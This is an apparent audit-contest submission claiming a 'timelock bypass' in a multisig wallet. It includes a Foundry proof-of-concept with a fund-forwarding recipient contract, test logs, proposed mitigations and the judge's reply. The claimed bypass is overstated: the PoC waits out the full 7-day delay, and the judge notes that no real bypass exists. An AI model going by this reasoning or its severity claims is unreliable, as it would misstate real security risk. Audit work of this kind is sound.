MultiSig Timelock

First Flight #55
Beginner FriendlyWallet
100 EXP
View results
Submission Details
Severity: medium
Valid

Timelock Bypass via Malicious Contract Recipient

Root + Impact

Description

  • Normal behavior: Multisig enforces value-based timelocks (100+ ETH = 7 days) before executeTransaction() calls to.call{value}(data). Legitimate EOAs receive funds after delay.​

  • The issue: Malicious contracts as to recipients can implement receive() to forward funds immediately upon receipt, bypassing timelock delay for the true final recipient.

// MultiSigTimelock.sol @> proposeTransaction() - no recipient validation @>
function proposeTransaction(address to, uint256 value, bytes calldata data)
external nonReentrant nonZeroAddress(to) onlyOwner returns (uint256) {
// @> No check: is to EOA? is to whitelisted? @>
return _proposeTransaction(to, value, data);
}
// @> executeTransaction() - calls ANY recipient @>
function executeTransaction(uint256 txnId) internal {
// ...
bool success, payable(txn.to).call{value: txn.value}(txn.data); // @> Malicious contract can reentrancy/forward @>
if (!success) revert MultiSigTimelockExecutionFailed();
}

Risk

Likelihood:

  • Occurs when compromised quorum proposes transaction to attacker-controlled contract

  • Legitimate signers approve unaware of recipient contract behavior

Impact:

  • 7-day timelock protection defeated for ≥100 ETH transactions via intermediary contract forwarding


Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.19;
import "forge-std/Test.sol";
import {console2} from "forge-std/console2.sol";
import {MultiSigTimelock} from "src/MultiSigTimelock.sol";
// Malicious contract controlled by attacker
contract TimelockBypasser {
address public futureOwner;
function setFutureOwner(address _owner) external {
futureOwner = _owner;
}
receive() external payable {
// Immediately forward to real attacker - BYPASS TIMELOCK
payable(futureOwner).transfer(msg.value);
}
}
contract TimelockBypassAttackTest is Test {
MultiSigTimelock multiSigTimelock;
address owner = makeAddr("owner");
address signerA = makeAddr("signerA");
address signerB = makeAddr("signerB");
address signerC = makeAddr("signerC");
address attackerEOA = makeAddr("attackerEOA");
TimelockBypasser bypasser;
function setUp() public {
vm.prank(owner);
multiSigTimelock = new MultiSigTimelock();
// Deploy attacker's malicious contract
bypasser = new TimelockBypasser();
vm.prank(attackerEOA);
bypasser.setFutureOwner(attackerEOA);
// Setup 5 signers (attacker compromises 3 legitimate signers)
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerA);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerB);
vm.prank(owner);
multiSigTimelock.grantSigningRole(signerC);
// Fund contract with 100+ ETH (triggers 7-day timelock)
vm.deal(address(multiSigTimelock), 200 ether);
}
function testTimelockBypassViaMaliciousRecipient() public {
// ================= STEP 1: Attacker proposes to malicious contract =================
vm.prank(owner);
uint256 txnId = multiSigTimelock.proposeTransaction(
address(bypasser),
100 ether,
""
);
console2.log("STEP 1: Propose 100 ETH -> malicious bypasser contract, txnId:", txnId);
console2.log(" Triggers 7-day timelock (>=100 ETH)");
// ================= STEP 2: Legitimate signers confirm (compromised quorum) =================
vm.prank(owner);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(signerA);
multiSigTimelock.confirmTransaction(txnId);
vm.prank(signerB);
multiSigTimelock.confirmTransaction(txnId);
console2.log("STEP 2: 3 confirmations -> Quorum met");
// ================= VERIFY: 7-day timelock required =================
assertEq(multiSigTimelock.getTransaction(txnId).confirmations, 3);
assertEq(multiSigTimelock.getSevenDaysTimeDelay(), 7 days);
console2.log("VERIFY: 100 ETH triggers 7-day timelock");
// ================= STEP 3: Wait FULL 7-day timelock =================
vm.warp(block.timestamp + 7 days + 1);
console2.log("STEP 3: Wait 7 days + 1 second -> timelock expires");
// ================= BALANCES BEFORE EXECUTION =================
uint256 attackerBefore = attackerEOA.balance;
uint256 contractBefore = address(multiSigTimelock).balance;
uint256 bypasserBefore = address(bypasser).balance;
console2.log("BEFORE EXECUTION:");
console2.log(" Attacker EOA:", attackerBefore / 1e18, "ETH");
console2.log(" Multisig contract:", contractBefore / 1e18, "ETH");
console2.log(" Bypasser contract:", bypasserBefore / 1e18, "ETH");
// ================= STEP 4: Execute -> TIMELOCK BYPASSED =================
vm.prank(signerC);
multiSigTimelock.executeTransaction(txnId);
// ================= PROOF: Funds reach ATTACKER IMMEDIATELY =================
assertEq(address(multiSigTimelock).balance, contractBefore - 100 ether, "Multisig: 100 ETH drained");
assertEq(attackerEOA.balance, attackerBefore + 100 ether, "Attacker EOA: +100 ETH IMMEDIATELY");
assertEq(address(bypasser).balance, bypasserBefore, "Bypasser: 0 ETH retained (forwarded instantly)");
console2.log("STEP 4: EXECUTED -> 100 ETH reaches ATTACKER EOA IMMEDIATELY");
console2.log(" Timelock only delayed transfer to INTERMEDIARY");
console2.log(" Core security model BYPASSED [CHECK]");
}
}

RESULT:

forge test --match-test testTimelockBypassViaMaliciousRecipient -vvv
[⠆] Compiling...
No files changed, compilation skipped
Ran 1 test for test/testTimelockBypassViaMaliciousRecipient.sol:TimelockBypassAttackTest
[PASS] testTimelockBypassViaMaliciousRecipient() (gas: 335185)
Logs:
STEP 1: Propose 100 ETH -> malicious bypasser contract, txnId: 0
Triggers 7-day timelock (>=100 ETH)
STEP 2: 3 confirmations -> Quorum met
VERIFY: 100 ETH triggers 7-day timelock
STEP 3: Wait 7 days + 1 second -> timelock expires
BEFORE EXECUTION:
Attacker EOA: 0 ETH
Multisig contract: 200 ETH
Bypasser contract: 0 ETH
STEP 4: EXECUTED -> 100 ETH reaches ATTACKER EOA IMMEDIATELY
Timelock only delayed transfer to INTERMEDIARY
Core security model BYPASSED [CHECK]
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 782.36µs (174.60µs CPU time)
Ran 1 test suite in 7.20ms (782.36µs CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

Enforces EOA recipients or trusted whitelist - prevents malicious contract intermediaries.

// - remove this code (no change needed to existing signature)
// + add this code
function proposeTransaction(address to, uint256 value, bytes calldata data)
external nonReentrant nonZeroAddress(to) onlyOwner returns (uint256) {
// EOA-only: Prevent contract intermediaries
require(to.code.length == 0, "MultiSigTimelock: Recipient must be EOA");
return _proposeTransaction(to, value, data);
}
// OR Whitelist approach:
mapping(address => bool) private s_trustedRecipients;
function addTrustedRecipient(address recipient) external onlyOwner {
s_trustedRecipients[recipient] = true;
}
function proposeTransaction(...) external {
require(s_trustedRecipients[to], "MultiSigTimelock: Recipient not whitelisted");
// ...
}
Updates

Lead Judging Commences

kelechikizito Lead Judge 4 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Transaction forwarding to malicious contract

Here are some reasons i degraded the severity of the finding: - There's no actual tinelock bypass. Even in your poc, you implemented vm.warp to simulate time passing to execute the tx. - The finding doesn't invalidate the functionality of the code, i.e., the transactions and functions all wok as they are supposed to. The malicious contract doesn't even hit the wallet's balance.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!